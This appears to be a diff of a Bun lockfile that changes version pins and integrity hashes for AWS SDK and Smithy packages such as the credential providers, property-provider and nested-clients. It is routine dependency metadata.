+ "@aws-sdk/client-kendra/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
"@aws-sdk/client-sso/@aws-sdk/core": ["@aws-sdk/core@3.623.0", "", { "dependencies": { "@smithy/core": "^2.3.2", "@smithy/node-config-provider": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/signature-v4": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/util-middleware": "^3.0.3", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-8Toq3X6trX/67obSdh4K0MFQY4f132bEbr1i0YPDWk/O3KdBt12mLC/sW3aVRnlIs110XMuX9yrWWqJ8fDW10g=="],
@@ -5135,7 +5367,7 @@
"@aws-sdk/client-sso-oidc/@smithy/util-utf8": ["@smithy/util-utf8@3.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-rUeT12bxFnplYDe815GXbq/oixEGHfRFFtcTF3YdDi/JaENIM6aSYYLJydG83UNzLXeRI5K8abYd/8Sp/QM0kA=="],
- "@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
+ "@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
"@aws-sdk/credential-provider-cognito-identity/@aws-sdk/types": ["@aws-sdk/types@3.609.0", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-+Tqnh9w0h2LcrUsdXyT1F8mNhXz+tVYBtP19LpeEGntmvHwa2XzvLUCWpoIAIVsHp5+HdB2X9Sn0KAtmbFXc2Q=="],
@@ -5165,33 +5397,23 @@
"@aws-sdk/credential-provider-ini/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
+ "@aws-sdk/credential-provider-login/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.972.16", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-HrdtnadvTGAQUr18sPzGlE5El3ICphnH6SU7UQOMOWFgRKbTRNN8msTxM4emzguUso9CzaHU2xy5ctSrmK5YNA=="],
- "@aws-sdk/credential-provider-login/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.972.18", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-NyB6smuZAixND5jZumkpkunQ0voc4Mwgkd+SZ6cvAzIB7gK8HV8Zd4rS8Kn5MmoGgusyNfVGG+RLoYc4yFiw+A=="],
- "@aws-sdk/credential-provider-login/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-env": "^3.972.16", "@aws-sdk/credential-provider-http": "^3.972.18", "@aws-sdk/credential-provider-login": "^3.972.17", "@aws-sdk/credential-provider-process": "^3.972.16", "@aws-sdk/credential-provider-sso": "^3.972.17", "@aws-sdk/credential-provider-web-identity": "^3.972.17", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-dFqh7nfX43B8dO1aPQHOcjC0SnCJ83H3F+1LoCh3X1P7E7N09I+0/taID0asU6GCddfDExqnEvQtDdkuMe5tKQ=="],
- "@aws-sdk/credential-provider-login/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.972.16", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-n89ibATwnLEg0ZdZmUds5bq8AfBAdoYEDpqP3uzPLaRuGelsKlIvCYSNNvfgGLi8NaHPNNhs1HjJZYbqkW9b+g=="],
- "@aws-sdk/credential-provider-login/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/token-providers": "3.1004.0", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-wGtte+48xnhnhHMl/MsxzacBPs5A+7JJedjiP452IkHY7vsbYKcvQBqFye8LwdTJVeHtBHv+JFeTscnwepoWGg=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-N27eFoRrO6MeUNumtNHDW9WOiwfd59LPXPqDrIa3kWL/s+fOKFHb9xIcF++bAwtcZnAxKkgpDCUP+INNZskE+w=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-8aiVJh6fTdl8gcyL+sVNcNwTtWpmoFa1Sh7xlj6Z7L/cZ/tYMEBHq44wTYG8Kt0z/PpGNopD89nbj3FHl9QmTA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-Xt9/U8qUCiw1hihztWkNeIR+arg6P+yda10OuCHX6kFVx3auTlU7+hCqs3UxqniGU4dguHuftf3mRpi5/GJ33Q=="],
+ "@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/credential-provider-env": "3.758.0", "@aws-sdk/credential-provider-http": "3.758.0", "@aws-sdk/credential-provider-process": "3.758.0", "@aws-sdk/credential-provider-sso": "3.758.0", "@aws-sdk/credential-provider-web-identity": "3.758.0", "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-cymSKMcP5d+OsgetoIZ5QCe1wnp2Q/tq+uIxVdh9MbfdBBEnl9Ecq6dH6VlYS89sp4QKuxHxkWXVnbXU3Q19Aw=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-AzcY74QTPqcbXWVgjpPZ3HOmxQZYPROIBz2YINF0OQk0MhezDWV/O7Xec+K1+MPGQO3qS6EDrUUlnPLjsqieHA=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.758.0", "", { "dependencies": { "@aws-sdk/client-sso": "3.758.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/token-providers": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-x0FYJqcOLUCv8GLLFDYMXRAQKGjoM+L0BG4BiHYZRDf24yQWFCAZsCQAYKo6XZYh2qznbsW6f//qpyJ5b0QVKQ=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-XGguXhBqiCXMXRxcfCAVPlMbm3VyJTou79r/3mxWddHWF0XbhaQiBIbUz6vobVTD25YQRbWSmSch7VA8kI5Lrw=="],
-
- "@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-l/qdInaDq1Zpznpmev/+52QomsJNZ3JkTl5yrTl02V6NBgJOQ4LY0SFw/8zsMwj3tLe8vqiIuwF6nxaEwgf6mg=="],
-
- "@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
+ "@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
"@aws-sdk/credential-provider-process/@aws-sdk/types": ["@aws-sdk/types@3.609.0", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-+Tqnh9w0h2LcrUsdXyT1F8mNhXz+tVYBtP19LpeEGntmvHwa2XzvLUCWpoIAIVsHp5+HdB2X9Sn0KAtmbFXc2Q=="],
@@ -5217,113 +5439,41 @@
"@aws-sdk/credential-providers/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
- "@aws-sdk/eventstream-handler-node/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
+ "@aws-sdk/middleware-websocket/@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-V+PbnWfUl93GuFwsOHsAq7hY/fnm9kElRqR8IexIJr5Rvif9e614X5sGSyz3mVSf1YAZ+VTy63W1/pGdA55zyA=="],
- "@aws-sdk/eventstream-handler-node/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-0RPCo8fYJcrenJ6bRtiUbFOSgQ1CX/GpvwtLU2Fam1tS9h2klKK8d74caeV6A1mIUvBU7bhyQ0wMGlwMtn3EYw=="],
- "@aws-sdk/middleware-eventstream/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/types": ["@aws-sdk/types@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg=="],
- "@aws-sdk/middleware-eventstream/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.0.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-serde": "^4.0.2", "@smithy/node-config-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-ftpmkTHIFqgaFugcjzLZv3kzPEFsBFSnq1JsIkr2mwFzCraZVhQk2gqN51OOeRxqhbPTkRFj39Qd2V91E/mQxg=="],
- "@aws-sdk/middleware-eventstream/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
- "@aws-sdk/middleware-websocket/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client": ["@smithy/smithy-client@4.1.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-stack": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-UYDolNg6h2O0L+cJjtgSyKKvEKCOa/8FHYJnBobyeoeWDmNpXjwOAtw16ezyeu1ETuuLEOZbrynK0ZY1Lx9Jbw=="],
- "@aws-sdk/middleware-websocket/@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/querystring-builder": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-MS5eSEtDUFIAMHrJaMERiHAvDPdfxc/T869ZjDNFAIiZhyc037REw0aoTNeimNXDNy2txRNZJaAUn/kE4RwN+g=="],
+ "@aws-sdk/s3-request-presigner/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
- "@aws-sdk/middleware-websocket/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-6OiaAaEbLB6dEkRbQyNzFSJv5HDvly3Mc6q/qcPd2uS/g3szR8wAIkh7UndAFKfMypNSTuZ6eCBmgCLR5LacTg=="],
+ "@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
- "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
-
- "@aws-sdk/middleware-websocket/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
-
- "@aws-sdk/middleware-websocket/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
-
- "@aws-sdk/middleware-websocket/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-tAaObaAnsP1XnLGndfkGWFuzrJYuk9W0b/nLvol66t8FZExIAf/WdkT2NNAWOYxljVs++oHnyHBCxIlaHrzSiw=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-aPSJ12d3a3Ea5nyEnLbijCaaYJT2QjQ9iW+zGh5QcZYXmOGWbKVyPSxmVOboZQG+c1M8t6d2O7tqrwzIq8L8qw=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.948.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-Qa8Zj+EAqA0VlAVvxpRnpBpIWJI9KUwaioY1vkeNVwXPlNaz9y9zCKVM9iU9OZ5HXpoUg6TnhATAHXHAE8+QsQ=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@smithy/core": "^3.18.7", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-7rpKV8YNgCP2R4F9RjWZFcD2R+SO/0R4VHIbY9iZJdH2MzzJ8ZG7h8dZ2m8QkQd1fjx4wrFJGGPJUTYXPV3baA=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/config-resolver": "^4.4.3", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-wOKhzzWsshXGduxO4pqSiNyL9oUtk4BEvjWm9aaq6Hmfdoydq6v6t0rAGHWPjFwy9z2haovGRi3C8IxdMB4muw=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-endpoints": "^3.2.5", "tslib": "^2.6.2" } }, "sha512-0Zx3Ntdpu+z9Wlm7JKUBOzS9EunwKAb4KdGUQQxDqh5Lc3ta5uBoub+FgmVuzwnmBu9U1Os8UuwVTH0Lgu+P5w=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-eZ/XF6NxMtu+iCma58GRNRxSq4lHo6zHQLOZRIeL/ghqYJirqHdenMOwrzPettj60KWlv827RVebP9oNVrwZbw=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.947.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-+vhHoDrdbb+zerV4noQk1DHaUMNzWFWPpPYjVTwW2186k5BEJIecAMChYkghRrBVJ3KPWP1+JnZwOd72F3d4rQ=="],
-
- "@aws-sdk/nested-clients/@smithy/config-resolver": ["@smithy/config-resolver@4.4.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "@smithy/util-config-provider": "^4.2.0", "@smithy/util-endpoints": "^3.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-s3U5ChS21DwU54kMmZ0UJumoS5cg0+rGVZvN6f5Lp6EbAVi0ZyP+qDSHdewfmXKUgNK1j3z45JyzulkDukrjAA=="],
-
